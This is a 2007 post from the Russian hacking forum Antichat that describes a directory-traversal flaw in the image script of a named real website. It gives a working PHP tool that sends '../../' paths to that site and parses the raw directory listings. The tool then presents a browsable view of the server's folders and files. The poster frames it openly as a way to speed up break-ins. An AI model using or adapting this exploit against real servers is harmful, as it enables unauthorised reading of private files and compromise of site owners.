Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Файловая инъекция + автоматизация процесса |

22.12.2007, 03:14
|
|
Новичок
Регистрация: 19.12.2007
Сообщений: 15
Провел на форуме: 114913
Репутация:
13
|
|
Файловая инъекция + автоматизация процесса
Файловая инъекция представляет собой возможность для взломщика просматривать файлы на удалённом сервере. Проверяя параметры, предаваемые include и mysql_query, программисты очень часто забывают о функции fopen. Чаще всего это встречается в выводе изображений.
Не люблю много теории, перейдём сразу к практике. Возьмём подопытный сайт, http://www.autoall.ru/. Инъекция на лицо, в свойствах изображений товаров написан путь к картинке: http://www.autoall.ru/group/picture.php?pic=112067.JPG. Подставив в параметр "pic" текст "../../" мы увидим в жутко корявом виде содержимое корневого каталога. Подобную картину большенство веб-хакеров наблюдало, когда в r57shell'е вместо имени файла ставили адрес к директории. Такой эффект можно лицезреть только на *nix машинах. Вот именно для этих вот глючных символов я и буду писать парсер, чтобы автоматизировать процес лазания по взламываемому хосту.
Для начала определимся с языком. Я обажаю пхп, за скорость написания на нём приложений, нет траблов с операционкой, с типами данных, и т.д. Для начала сохраним страницу из браузера, и пихнём в hex-редактор. Можно было конечно поискать в инете правила этих записей, но это было бы не интересно. Первая закономерность, которую я заметил, это то, что имя каждого файла или папки заканчивается на символ с кодом 00. Вторая, это то, что перед именами папок, за символ до, стоит 04, а у файлов 08. Таким образом, пользуясь только этими данными я написал вот это парсер. Он глюкавый, требует переработок, но во всяком случае рабочий.
PHP код:
<?php
$fol="../../";
if($fnewname<>""){$fol=$fnewname."/";}
if($fileopen<>""){$fol.=$fileopen;}
$host="www.autoall.ru";
$content="";
$fp =fsockopen($host, 80, $errno, $errstr, 30);
if(!$fp){echo "$errstr ($errno)<br>\n";}else{
fputs ($fp, "GET /group/picture.php?pic=".$fol." HTTP/1.0\r\nHost: ".$host."\r\n\r\n");
while (!feof($fp)) {$content.=fgets($fp,128);}
fclose ($fp);}
$content=strstr($content,"\r\n\r\n");
if($fileopen<>""){
print "<pre>".htmlspecialchars($content)."</pre>";
}
else
{
for($i=0;$i<strlen($content);$i++)
{
if(ord($content[$i])==4)
{
$tempname="";
for($j=2;ord($content[$i+$j])<>0;$j++){$tempname.=$content[$i+$j];}
$folder[]=$tempname;
$i=$i+strlen($tempname);
}
if(ord($content[$i])==8)
{
$tempname="";
for($j=2;ord($content[$i+$j])<>0;$j++){$tempname.=$content[$i+$j];}
$files[]=$tempname;
$i=$i+strlen($tempname);
}
}
print "<table>";
for($i=0;$i<count($folder);$i++)
{
print "<tr>";
print "<td><a href=1.php?fnewname=".$fol.$folder[$i]."><img border=0 src=fol.jpg></a></td>
<td><a href=1.php?fnewname=".$fol.$folder[$i]."><font>".$folder[$i]."</font></a></td>";
print "</tr>";
}
for($i=0;$i<count($files);$i++)
{
print "<tr>";
print "<td><a href=1.php?fileopen=".$files[$i]."&fnewname=".$fol."><img border=0 src=file.jpg></a></td>
<td><a href=1.php?fileopen=".$files[$i]."&fnewname=".$fol."><font>".$files[$i]."</font></a></td>";
print "</tr>";
}
print "</table>";
}
?>
Автоматизация ускоряет взлом в несколько раз. Для sql-инъекций я наблюдал кучу софта, а для файловых не нашёл ни одной проги. Поэтому и создал эту тему.
Последний раз редактировалось BestOFtheBest; 22.12.2007 в 03:17..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|